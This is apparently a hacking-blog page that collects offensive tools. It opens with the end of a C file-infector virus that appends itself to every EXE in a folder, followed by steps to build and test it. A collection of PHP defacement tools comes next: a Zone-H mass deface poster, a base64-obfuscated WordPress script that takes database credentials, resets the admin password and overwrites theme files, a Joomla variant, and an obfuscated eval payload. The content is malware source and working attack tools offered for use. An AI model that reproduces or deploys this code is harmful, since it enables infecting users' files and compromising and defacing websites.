printf(“Infecting %sn”,ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf(“DONE! (Total Files Infected= %d)”,a);
end=clock();
printf(“TIME TAKEN=%f SECn”,
(end-st)/CLK_TCK);
getch();
}

COMPILING METHOD:

USING BORLAND TC++ 3.0 (16-BIT):
1. Load the program in the compiler, press Alt-F9 to compile
2. Press F9 to generate the EXE file (DO NOT PRESS CTRL-F9,THIS WILL INFECT ALL THE FILES IN CUR DIRECTORY INCLUDIN YOUR COMPILER)
3. Note down the size of generated EXE file in bytes (SEE EXE FILE PROPERTIES FOR IT’S SIZE)
4. Change the value of X in the source code with the noted down size (IN THE ABOVE SOURCE CODE x= 89088; CHANGE IT)
5. Once again follow the STEP 1 & STEP 2.Now the generated EXE File is ready to infect
USING BORLAND C++ 5.5 (32-BIT) :
1. Compile once,note down the generated EXE file length in bytes
2. Change the value of X in source code to this length in bytes
3. Recompile it.The new EXE file is ready to infect

HOW TO TEST:

1. Open new empty folder
2. Put some EXE files (BY SEARCHING FOR *.EXE IN SEARCH & PASTING IN THE NEW FOLDER)
3. Run the virus EXE file there you will see all the files in the current directory get infected.
4. All the infected files will be ready to reinfect
That’s it.
WARNING: FOR EDUCATIONAL PURPOSES ONLY. DO NOT SPREAD OR MISUSE THIS VIRUS CODE

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PHP Tools

2013-08-30T05:43:00.001-07:00

COLLECTION OF PHP TOOLS

zone-h poster

PHP Code:

<?php
ob_start();

/************************************

Zone-H Mass Deface Poster | bY Team.MDx

*************************************/

// curl var mi ?

$sub = get_loaded_extensions();

if(!in_array("curl", $sub)){

die('Can not connect to this server to reconnect to the server ip_address');

}

// sari sari ?rdekler ucusuyorrrrrr...

?>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">

<style>

body{margin:0px;font-style:normal;font-size:10px;color:#FFFFFF;font-family:Verdana,Arial;background-color:#3a3a3a;scrollbar-face-color:
#303030;scrollbar-highlight-color: #5d5d5d;scrollbar-shadow-color:
#121212;scrollbar-3dlight-color: #3a3a3a;scrollbar-arrow-color:
#9d9d9d;scrollbar-track-color: #3a3a3a;scrollbar-darkshadow-color:
#3a3a3a;}

input,

.kbrtm,select{background:#303030;color:#FFFFFF;fon
t-family:Verdana,Arial;font-size:10px;vertical-align:middle; height:18;
border-left:1px solid #5d5d5d; border-right:1px solid #121212;
border-bottom:1px solid #121212; border-top:1px solid #5d5d5d;}

button{background-color: #666666; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}

body,td,th { font-family: verdana; color: #d9d9d9; font-size: 11px;}body { background-color: #303030;}

textarea,option{background:#303030;color:#FFFFFF;f
ont-family:Verdana,Arial;font-size:10px;vertical-align:middle;
border-left:1px solid #121212; border-right:1px solid #5d5d5d;
border-bottom:1px solid #5d5d5d; border-top:1px solid #121212;}

</style>

<title>Zone-H Mass Deface Poster</title>

<style type="text/css">

.style1 {

text-align: center;

}

.style2 {

font-weight: bold;

}

.style3 {

font-size: large;

color: #FF0000;

}

div#option {

background:#303030;color:#FFFFFF;font-family:Verdana,Arial;font-size:10px;vertical-align:middle;
border-left:1px solid #121212; border-right:1px solid #5d5d5d;
border-bottom:1px solid #5d5d5d; border-top:1px solid #121212;

}

</style>

</head>

<?php

if($_POST) {

$hacker = $_POST['defacer'];

$method = $_POST['hackmode'];

$neden = $_POST['reason'];

$site = $_POST['domain'];

// bosmu dolumu

if ($hacker == "") {

die ("<center>Which distorted and said that if the answer is yes, type the name of<center>");

}

elseif($method == "--------SELECT--------") {

die("<center>Method must be told</center>");

}

elseif($neden == "--------SELECT--------") {

die("<center>Why do I have to tell</center>");

}

elseif($site == "") {

die("<center>Registration continued breakthroughs in the locations Zone H </center>");

}

$i = 0;

$sites = explode("\n", $site);

while($i < count($sites)) {

if(substr($sites[$i], 0, 4) != "http") {

$sites[$i] = "http://".$sites[$i];

}

poster("http://zone-h.org/notify/single", $hacker, $method, $neden, $sites[$i]);

++$i;

}

echo "<center><p>Zone-h Mass Deface Poster</p></center>";

}else{

echo '<center>

<form action="" method="post">

<div id="option">

<p>Defacer<br />

<span class="ok"><input type="text" name="defacer" size="40" /></span> </p>

<p>How to hack <br /><select name="hackmode">

<option >--------SELECT--------</option>

<option value="1">known vulnerability (i.e. unpatched system)</option>

<option

value="2" >undisclosed (new) vulnerability</option>

<option

value="3" >configuration / admin. mistake</option>

<option

value="4" >brute force attack</option>

<option

value="5" >social engineering</option>

<option

value="6" >Web Server intrusion</option>

<option

value="7" >Web Server external module intrusion</option>

<option

value="8" >Mail Server intrusion</option>

<option

value="9" >FTP Server intrusion</option>

<option

value="10" >SSH Server intrusion</option>

<option

value="11" >Telnet Server intrusion</option>

<option

value="12" >RPC Server intrusion</option>

<option

value="13" >Shares misconfiguration</option>

<option

value="14" >Other Server intrusion</option>

<option

value="15" >SQL Injection</option>

<option

value="16" >URL Poisoning</option>

<option

value="17" >File Inclusion</option>

<option

value="18" >Other Web Application bug</option>

<option

value="19" >Remote administrative panel access through bruteforcing</option>

<option

value="20" >Remote administrative panel access through password guessing</option>

<option

value="21" >Remote administrative panel access through social engineering</option>

<option

value="22" >Attack against the administrator/user (password stealing/sniffing)</option>

<option

value="23" >Access credentials through Man In the Middle attack</option>

<option

value="24" >Remote service password guessing</option>

<option

value="25" >Remote service password bruteforce</option>

<option

value="26" >Rerouting after attacking the Firewall</option>

<option

value="27" >Rerouting after attacking the Router</option>

<option

value="28" >DNS attack through social engineering</option>

<option

value="29" >DNS attack through cache poisoning</option>

<option

value="30" >Not available</option>

</select></p>

<p> Cause of hack ? <br /><select name="reason">

<option >--------SELECT--------</option>

<option

value="1" >Heh...just for fun!</option>

<option

value="2" >Revenge against that website</option>

<option

value="3" >Political reasons</option>

<option

value="4" >As a challenge</option>

<option

value="5" >I just want to be the best defacer</option>

<option

value="6" >Patriotism</option>

<option

value="7" >Not available</option>

</select> </p>

<p>Sites <br />

<span class="fur">Put all the sites on the server</span><br />

<span class=""><textarea name="domain" cols="43" rows="17"></textarea></span> </p>

<p><input type="submit" value="Send" />

</form>

<br>

</div>

</center>';

}

function poster($url, $hacker, $hackmode,$reson, $site )

{

$k = curl_init();

curl_setopt($k, CURLOPT_URL, $url);

curl_setopt($k,CURLOPT_POST,true);

curl_setopt($k, CURLOPT_POSTFIELDS,"defacer=".$hacker."&domain1=". $site."&hackmode=".$hackmode."&reason=".$reson);

curl_setopt($k,CURLOPT_FOLLOWLOCATION, true);

curl_setopt($k, CURLOPT_RETURNTRANSFER, true);

$kubra = curl_exec($k);

curl_close($k);

return $kubra;

}

?>

<body>

</body>

</html>

wordpress indexer

PHP Code:

<?
###########################################
# Change WP Index #
# Coded By RAB3OUN #
# v.b-4@hotmail.com #
# #
###########################################

eval(base64_decode('CiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKIyAgICAgIENoYW5nZSB​XUCBJbmRleCAgICAgICAgICAgICAgICAgICAgICMKIyAgICAgIENvZGVkIEJ5IFJBQjNPVU4gICAgICA​gICAgICAgICAgICAgICMKIyAgICAgICAgICB2LmItNEBob3RtYWlsLmNvbSAgICAgICAgICAgICAgICM​KIyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICMgIAojIyMjIyMjIyMjIyM​jIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjCiBpZigkX1BPU1RbJ2Zvcm1fYWN0aW9uJ10gPT0​gMSApCiB7CgokdGV4dD1maWxlX2dldF9jb250ZW50cygkX1BPU1RbJ2ZpbGUnXSk7CgoJCgkkdXNlcm5​hbWU9ZW50cmUydjIoJHRleHQsImRlZmluZSgnREJfVVNFUicsICciLCInKTsiKTsKJHBhc3N3b3JkPWV​udHJlMnYyKCR0ZXh0LCJkZWZpbmUoJ0RCX1BBU1NXT1JEJywgJyIsIicpOyIpOwokZGJuYW1lPWVudHJ​lMnYyKCR0ZXh0LCJkZWZpbmUoJ0RCX05BTUUnLCAnIiwiJyk7Iik7CiRwcmVmaXg9ZW50cmUydjIoJHR​leHQsIiR0YWJsZV9wcmVmaXggID0gJyIsIiciKTsKfQoKIGlmKCRfUE9TVFsnZm9ybV9hY3Rpb24nXSA​9PSAyICkKIHsKICRwcmVmaXg9KCRfUE9TVFsnZGJfcHJlZml4J10pOwogJHVzZXJuYW1lPSgkX1BPU1R​bJ2RiX3VzZXJuYW1lJ10pOwogJHBhc3N3b3JkPSgkX1BPU1RbJ2RiX3Bhc3N3b3JkJ10pOwogJGRibmF​tZT0oJF9QT1NUWydkYl9uYW1lJ10pOwogCgoJCgp9Ci8qCmVjaG8oJHVzZXJuYW1lKTsKZWNobygiPGJ​yPiIpOwplY2hvKCRwYXNzd29yZCk7CmVjaG8oIjxicj4iKTsKZWNobygkZGJuYW1lKTsKZWNobygiPGJ​yPiIpOwplY2hvKCRwcmVmaXgpOwplY2hvKCI8YnI+Iik7CiovCgppZiAoJF9QT1NUWydmb3JtX2FjdGl​vbiddKQp7CiRoPSI8PyBlY2hvKHN0cmlwc2xhc2hlcyhiYXNlNjRfZGVjb2RlKCciLnVybGVuY29kZSh​iYXNlNjRfZW5jb2RlKHN0cl9yZXBsYWNlKCInIiwiJyIsKCRfUE9TVFsnY29kZSddKSkpKS4iJykpKTs​gZXhpdDsgPz4iOwogICAgICAkbGluaz1teXNxbF9jb25uZWN0KCJsb2NhbGhvc3QiLCR1c2VybmFtZSw​kcGFzc3dvcmQpIDsKCSAgaWYgKCRsaW5rKSB7CiAgICAgICAgIG15c3FsX3NlbGVjdF9kYigkZGJuYW1​lLCRsaW5rKSA7CgkJICRyZXExID1teXNxbF9xdWVyeSgiVVBEQVRFIGAiLiRwcmVmaXguInVzZXJzYCB​TRVQgYHVzZXJfbG9naW5gID0gJ2FkbWluJyxgdXNlcl9wYXNzYCA9ICckMSQ0MlJFZ3hTUiQudExWNFB​TYlFtQ0tzaXN5Q1N5aHEuJyBXSEVSRSBgd3BfdXNlcnNgLmBJRGAgPTEgTElNSVQgMSA7Iik7CmVjaG8​oIjxicj5bK10gQ2hhbmdpbmcgYWRtaW4gcGFzc3dvcmQgdG8gMTIzNDU2Nzg5Iik7CQoJJHJlcSA9bXl​zcWxfcXVlcnkoIlNFTEVDVCAqIGZyb20gIGAiLiRwcmVmaXguIm9wdGlvbnNgIFdIRVJFIG9wdGlvbl9​uYW1lPSdob21lJyIpOwoJICRkYXRhID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlcSk7CiRzaXRlX3VybD0​kZGF0YVsib3B0aW9uX3ZhbHVlIl07CgkgCgkgCSBlY2hvKCI8YnI+Iik7CgkgZWNobygkZGF0YVsib3B​0aW9uX3ZhbHVlIl0pOwoJIH0KICAgICAgJHVzZXJhZ2VudD0iTW96aWxsYS80LjAgKGNvbXBhdGlibGU​7IE1TSUUgNy4wYjsgV2luZG93cyBOVCA1LjE7IC5ORVQgQ0xSIDEuMS40MzIyOyBBbGV4YSBUb29sYmF​yOyAuTkVUIENMUiAyLjAuNTA3MjcpIjsKCgoKCSAkdXJsMj0kc2l0ZV91cmwuIi93cC1sb2dpbi5waHA​iOwoKJGNoID0gY3VybF9pbml0KCk7CmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICR1cmwyKTs​KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1QsIDEpOwpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFR​fUE9TVEZJRUxEUywibG9nPWFkbWluJnB3ZD0xMjM0NTY3ODkmcmVtZW1iZXJtZT1mb3JldmVyJndwLXN​1Ym1pdD1Mb2cgSW4mdGVzdGNvb2tpZT0xIik7CgpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRk9MTE9​XTE9DQVRJT04sIDEpOwpjdXJsX3NldG9wdCgkY2gsQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwxKTsKY3V​ybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hFQURFUiwgMCk7CmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9​VU0VSQUdFTlQsICR1c2VyYWdlbnQpOwogICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUp​BUiwgIkNPT0tJRS50eHQiKTsgCiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFRklMRSw​gIkNPT0tJRS50eHQiKTsgCgoKJGJ1ZmZlciA9IGN1cmxfZXhlYygkY2gpOwoKJHBvcyA9IHN0cnBvcyg​kYnVmZmVyLCJhZG1pbiIpOwoKaWYoJHBvcyA9PT0gZmFsc2UpIHsKZWNobygiPGJyPlstXSBMb2dpbiB​FcnJvciIpOwpleGl0Owp9CmVsc2UgewplY2hvKCI8YnI+WytdIExvZ2luIFN1Y2Nlc3NmdWwiKTsKfQo​gICAKZWNobygiPGJyPlsqXSBUaGVtZSBlZGl0b3IgLi4uIik7CgkgJHVybDI9JHNpdGVfdXJsLiIvd3A​tYWRtaW4vdGhlbWUtZWRpdG9yLnBocCI7CgokY2ggPSBjdXJsX2luaXQoKTsKY3VybF9zZXRvcHQoJGN​oLCBDVVJMT1BUX1VSTCwgJHVybDIpOwoKCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GT0xMT1dMT0N​BVElPTiwgMSk7CmN1cmxfc2V0b3B0KCRjaCxDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLDEpOwpjdXJsX3N​ldG9wdCgkY2gsIENVUkxPUFRfSEVBREVSLCAwKTsKY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VTRVJ​BR0VOVCwgJHVzZXJhZ2VudCk7CiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFSkFSLCA​iQ09PS0lFLnR4dCIpOyAKICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFRklMRSwgIkN​PT0tJRS50eHQiKTsgCgoKJGJ1ZmZlciA9IGN1cmxfZXhlYygkY2gpOwoKCiRhcj1leHBsb2RlKCAnPGx​pPjxhIGhyZWY9InRoZW1lLWVkaXRvci5waHA/ZmlsZT0nLCAkYnVmZmVyKTsKICAgICBmb3IoJHZpPTA7JHZpIDwgY291bnQoJGFyKTskdmkrKykKICAg​ICB7CglpZihzdWJzdHJfY291bnQoJGFyWyR2aV0sIihpbmRleC5waHApIikgIT0gMCl7CiR0aGVtZT1l​bnRyZTJ2MigkYXJbJHZpXSwnL3RoZW1lcycsJyI+Jyk7CgkvLwllY2hvKGVudHJlMnYyKCRhclskdmld​LCcvdGhlbWVzJywnIj4nKSk7Cn0KfQoKaWYoJHRoZW1lKSB7CmVjaG8oIjxicj5bK10gaW5kZXgucGhw​IGZpbGUgZm91bmRlZCBpbiBUaGVtZSBFZGl0b3IiKTsKCn0KZWxzZSB7CmVjaG8oIjxicj5bLV0gaW5k​ZXgucGhwIE5vdCBmb3VuZCBpbiBUaGVtZSBFZGl0b3IiKTsKZXhpdDsKfQplY2hvKCI8YnI+WypdIFVw​ZGF0aW5nIEluZGV4LnBocCAuLi4uLiIpOwogICAKLy8tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t​LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxcCiR0aGVtZT1zdHJfcmVwbGFjZSgiJmFtcDsiLCImIiwk​dGhlbWUpOwoKICAkdXJsMj10cmltKCRzaXRlX3VybC4iL3dwLWFkbWluL3RoZW1lLWVkaXRvci5waHA/ZmlsZT0vdGhlbWVzIi4kdGhlbWUpOwogCgokY2ggPSBjdXJsX2luaXQoKTsKY3VybF9zZXRvcHQoJGNo​LCBDVVJMT1BUX1VSTCwgJHVybDIpOwoKCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GT0xMT1dMT0NB​VElPTiwgMCk7CmN1cmxfc2V0b3B0KCRjaCxDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLDEpOwpjdXJsX3Nl​dG9wdCgkY2gsIENVUkxPUFRfSEVBREVSLCAwKTsKCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VU0VS​QUdFTlQsICR1c2VyYWdlbnQpOwogICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUpBUiwg​IkNPT0tJRS50eHQiKTsgCiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFRklMRSwgIkNP​T0tJRS50eHQiKTsgCgoKJGJ1ZmZlcjAgPSBjdXJsX2V4ZWMoJGNoKTsKLy9lY2hvKCRidWZmZXIwKTsK​CiRfd3Bub25jZT1lbnRyZTJ2MigkYnVmZmVyMCwnPGlucHV0IHR5cGU9ImhpZGRlbiIgaWQ9Il93cG5v​bmNlIiBuYW1lPSJfd3Bub25jZSIgdmFsdWU9IicsJyIgLz4nKTsKJF9maWxlPWVudHJlMnYyKCRidWZm​ZXIwLCc8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJmaWxlIiB2YWx1ZT0iJywnIiAvPicpOwoKCgkg​JHVybDI9JHNpdGVfdXJsLiIvd3AtYWRtaW4vdGhlbWUtZWRpdG9yLnBocCI7CgokY2ggPSBjdXJsX2lu​aXQoKTsKY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgJHVybDIpOwpjdXJsX3NldG9wdCgkY2gs​IENVUkxPUFRfUE9TVCwgMSk7CmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NURklFTERTLCJuZXdj​b250ZW50PSIuJGguIiZhY3Rpb249dXBkYXRlJmZpbGU9Ii4kX2ZpbGUuIiZfd3Bub25jZT0iLiRfd3Bu​b25jZS4iJnN1Ym1pdD1VcGRhdGUgRmlsZSIpOwoKY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZPTExP​V0xPQ0FUSU9OLCAxKTsKY3VybF9zZXRvcHQoJGNoLENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsMSk7CmN1​cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9IRUFERVIsIDApOwpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRf​VVNFUkFHRU5ULCAkdXNlcmFnZW50KTsKICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVK​QVIsICJDT09LSUUudHh0Iik7IAogICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUZJTEUs​ICJDT09LSUUudHh0Iik7IAoKCiRidWZmZXIgPSBjdXJsX2V4ZWMoJGNoKTsKCi8vZWNobygkYnVmZmVy​KTsKJHBvcyA9IHN0cnBvcygkYnVmZmVyLCc8ZGl2IGlkPSJtZXNzYWdlIiBjbGFzcz0idXBkYXRlZCI+​Jyk7CgppZigkcG9zID09PSBmYWxzZSkgewplY2hvKCI8YnI+Wy1dIFVwZGF0aW5nIEluZGV4LnBocCBF​cnJvciIpOwpleGl0Owp9CmVsc2UgewplY2hvKCI8YnI+WytdIEluZGV4LnBocCBVcGRhdGVkIFN1Y2Nl​c3NmdWx5Iik7Cn0KCgovLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8KCiRhcj1leHBsb2RlKCAn​PGxpPjxhIGhyZWY9InRoZW1lLWVkaXRvci5waHA/ZmlsZT0nLCAkYnVmZmVyKTsKICAgICBmb3IoJHZpPTA7JHZpIDwgY291bnQoJGFyKTskdmkrKykKICAg​ICB7CglpZihzdWJzdHJfY291bnQoJGFyWyR2aV0sIihob21lLnBocCkiKSAhPSAwKXsKJHRoZW1lPWVu​dHJlMnYyKCRhclskdmldLCcvdGhlbWVzJywnIj4nKTsKCS8vCWVjaG8oZW50cmUydjIoJGFyWyR2aV0s​Jy90aGVtZXMnLCciPicpKTsKfQp9CgppZigkdGhlbWUpIHsKZWNobygiPGJyPlsrXSBob21lLnBocCBm​aWxlIGZvdW5kZWQgaW4gVGhlbWUgRWRpdG9yIik7Cgp9CmVsc2UgewplY2hvKCI8YnI+Wy1dIGhvbWUu​cGhwIE5vdCBmb3VuZCBpbiBUaGVtZSBFZGl0b3IiKTsKZXhpdDsKfQplY2hvKCI8YnI+WypdIFVwZGF0​aW5nIGhvbWUucGhwIC4uLi4uIik7CiAgIAovLy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t​LS0tLS0tLS0tLS0tLS0tLS0tLS0tXFwKJHRoZW1lPXN0cl9yZXBsYWNlKCImYW1wOyIsIiYiLCR0aGVt​ZSk7CgogICR1cmwyPXRyaW0oJHNpdGVfdXJsLiIvd3AtYWRtaW4vdGhlbWUtZWRpdG9yLnBocD9maWxl​PS90aGVtZXMiLiR0aGVtZSk7CiAKCiRjaCA9IGN1cmxfaW5pdCgpOwpjdXJsX3NldG9wdCgkY2gsIENV​UkxPUFRfVVJMLCAkdXJsMik7CgoKY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9O​LCAwKTsKY3VybF9zZXRvcHQoJGNoLENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsMSk7CmN1cmxfc2V0b3B0​KCRjaCwgQ1VSTE9QVF9IRUFERVIsIDApOwoKY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VTRVJBR0VO​VCwgJHVzZXJhZ2VudCk7CiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFSkFSLCAiQ09P​S0lFLnR4dCIpOyAKICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVGSUxFLCAiQ09PS0lF​LnR4dCIpOyAKCgokYnVmZmVyMCA9IGN1cmxfZXhlYygkY2gpOwovL2VjaG8oJGJ1ZmZlcjApOwoKJF93​cG5vbmNlPWVudHJlMnYyKCRidWZmZXIwLCc8aW5wdXQgdHlwZT0iaGlkZGVuIiBpZD0iX3dwbm9uY2Ui​IG5hbWU9Il93cG5vbmNlIiB2YWx1ZT0iJywnIiAvPicpOwokX2ZpbGU9ZW50cmUydjIoJGJ1ZmZlcjAs​JzxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImZpbGUiIHZhbHVlPSInLCciIC8+Jyk7CgoKCSAkdXJs​Mj0kc2l0ZV91cmwuIi93cC1hZG1pbi90aGVtZS1lZGl0b3IucGhwIjsKCiRjaCA9IGN1cmxfaW5pdCgp​OwpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsMik7CmN1cmxfc2V0b3B0KCRjaCwgQ1VS​TE9QVF9QT1NULCAxKTsKY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1RGSUVMRFMsIm5ld2NvbnRl​bnQ9Ii4kaC4iJmFjdGlvbj11cGRhdGUmZmlsZT0iLiRfZmlsZS4iJl93cG5vbmNlPSIuJF93cG5vbmNl​LiImc3VibWl0PVVwZGF0ZSBGaWxlIik7CgpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRk9MTE9XTE9D​QVRJT04sIDEpOwpjdXJsX3NldG9wdCgkY2gsQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwxKTsKY3VybF9z​ZXRvcHQoJGNoLCBDVVJMT1BUX0hFQURFUiwgMCk7CmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VU0VS​QUdFTlQsICR1c2VyYWdlbnQpOwogICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUpBUiwg​IkNPT0tJRS50eHQiKTsgCiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFRklMRSwgIkNP​T0tJRS50eHQiKTsgCgoKJGJ1ZmZlciA9IGN1cmxfZXhlYygkY2gpOwoKLy9lY2hvKCRidWZmZXIpOwok​cG9zID0gc3RycG9zKCRidWZmZXIsJzxkaXYgaWQ9Im1lc3NhZ2UiIGNsYXNzPSJ1cGRhdGVkIj4nKTsK​CmlmKCRwb3MgPT09IGZhbHNlKSB7CmVjaG8oIjxicj5bLV0gVXBkYXRpbmcgaG9tZS5waHAgRXJyb3Ii​KTsKZXhpdDsKfQplbHNlIHsKZWNobygiPGJyPlsrXSBob21lLnBocCBVcGRhdGVkIFN1Y2Nlc3NmdWx5​Iik7Cn0KCn0gCgogCmZ1bmN0aW9uIGVudHJlMnYyKCR0ZXh0LCRtYXJxdWV1ckRlYnV0TGllbiwkbWFy​cXVldXJGaW5MaWVuKQoKewoKJGFyMD1leHBsb2RlKCRtYXJxdWV1ckRlYnV0TGllbiwgJHRleHQpOwok​YXIxPWV4cGxvZGUoJG1hcnF1ZXVyRmluTGllbiwgJGFyMFsxXSk7CiRhcj10cmltKCRhcjFbMF0pOwpy​ZXR1cm4gJGFyOwp9Cgo/Pgo8dGl0bGU+Q2hhbmdlIFdQIEluZGV4IENvZGVkIEJ5IFJBQjNPVU48L3RpdGxlPiAKPGJvZHkgYmdj​b2xvcj0iIzAwMDAwMCI+CiA8c3R5bGU+CgpCT0RZIHsgU0NST0xMQkFSLUJBU0UtQ09MT1I6ICMxOTE5​MTk7IFNDUk9MTEJBUi1BUlJPVy1DT0xPUjogb2xpdmU7ICAgY29sb3I6IHdoaXRlO30KdGV4dGFyZWF7​YmFja2dyb3VuZC1jb2xvcjojMTkxOTE5O2NvbG9yOnJlZDtmb250LXdlaWdodDpib2xkO2ZvbnQtc2l6​ZTogMTJweDtmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2O30KaW5w​dXR7Rk9OVC1XRUlHSFQ6bm9ybWFsO2JhY2tncm91bmQtY29sb3I6ICMxOTE5MTk7Zm9udC1zaXplOiAx​M3B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?>

joomla indexer

PHP Code:

<?
###########################################
# Change Joomla Index #
# Coded By RAB3OUN #
# v.b-4@hotmail.com
# http://www.rab3oun.net/
# #
###########################################

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?>

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PHP Code:

<?php
/*
online encode by cha88.cn!

*/
eval(gzinflate(base64_decode('FVfFDsTIEb3vj2RXPphJWWVlZh7jJTIzjdlfn8mtj1VdD//5z9//LM3yxx/lmQ5/1m87VUO6l39m6VYS2H+LMp+L8s9/iUkl8purCP3npB6DVG7QWJTQHTPZHPAw2XK4OkkInaDvsm6tIqIgiMM0qFPoc9/gMDo4CI8UGfgWMaD0SGR5v9lUmHywCE9AEFNNDv8CpWrXbrm9cM/u3NuSdzY0QzU13kdHKF6TScbrZyfJ5SgWei8DoRTjazLVu9IS6k7jhaXx5mwxxkVEPzumc7ditDKXs3E​o4KQAU1Cs++arBevyWgyfFd7cWm4f3SztnIIIxuTWEJ4rEfiorFiGl/eXxyWkPMGvOHZA1pZwzA645a9yEefk2jPWeEkr/aD9O4d+NhK+gvmdql5pgMZn6Q/rXVdIzfSdU8lEtaVrGmtg9VipxruHpSC9JbXFaGkooAzSelrcGpaLhCVpxNusYGnf4J5WfexFmzhehGs​Ccj5OXMu4G3cSL5IU73aaPMaOkNFLANL4VbrLJJk96zbE9cKomyy5eeOUF67GKI6LLPB7FI3U92u+6Az​urLsWKko5Sg/ZWIblPfwtpkcCZsM0Y/6VnNwPSnzNQUdeis5LFqm6RxAN3twf3/0M6z7KTcUnGBBOj/2037scsnpSsfO69OwesBw59a+jPJ1GH7m+ILl8rlFa2f07hZPCy1+P6IonQ84Ini9VVoitZD8PBVrpCE​S/BVryAb0sTioQVDYPpzfRNNKK4lWRjadVqK0CEJ4WPHt8aJKkWMU1VmqyVWM6cDO71d6yXUNBn/N7hSo7eJ4ac9Lp3lUXDqfrVDZ7bXrj7QMrspbNtwI/JGOWM++8Vb5GPmIG/Pm0alQ8yulb0OJ4GmKY/BkEjZO57s40VSCLCN3VUNZvO8a56sdvPfsGO83XdKDwWshSLbtGZygjmh3XwqJ1JO5ElFV6pjldLUJhO​Frt0C34HLKLhVvK8HkvT2D8JjzfHPZJyRPi4/29FgB5OaJI1NgJwk2LYTEJnpxpN6VEdRkxekuW6Si6h9FJAcp6giJepfYdpI4xxTohXEke5zVaJ75x8k​8K7r6e5zG3Sbn11GeaIzRtV1X1pHj5Qeb4di4DG1zdaumF9vyhDtdbg9K8UPTSHAEPT5Kryib8rUtbEQ​JSyyTmC2/+3WRzNokUkKA1K7pzHpE8JON0/kOvT0V4PYntOheWKVfikrab6yel8+bp/gOkrAQDB1QT1aE9XTA5+FFECf80JBhsAeS8unCwCG03AEmOzaMz0X4ajvkuIwKoBCL7g07VpJ9CE8Ie7​pmYJkpjxJ4d+j4/aV+DRFElvpo2T9C4vRv49fnWUfQwJ3Ud1eVlugPFWPK1nTuoBx3fPpR0jKF4ftljoMZIn5yTGF/AEbYJFhH+Y8u7KjZil5RjImoiAQQmYWzow7xCmiwEWs9yWIDGbY53/7Q35xtYAk3Y9sEpq52pYquP0NpKof8KkFuJznCl4yv5uQYvgvjywDKEDtKQJWUITrdiWOawtXbRPQpKH​jlSCuVRKuPqsIUWjPb1zURyO8ej+tuKvC/f5Ad1KAXttB2KcPTvaeG3qJMeyiPpN7sUMm4WeLyo1v7BwVoIU28ulQ9zjLxwKI5w7aXOxgXFxTsmlQA​UCZ7FGS65zFX7ZAttmRUbiUQYWXzSK6mWyK6/HP0ZvdiaMaDjEZqwFp0lfpJbpOwmFvcB1fLjf4UtSfEH0KOECrCB/wl/QPAtQlC4OWKhyf20RBnKmfcvT3NIvC+vLE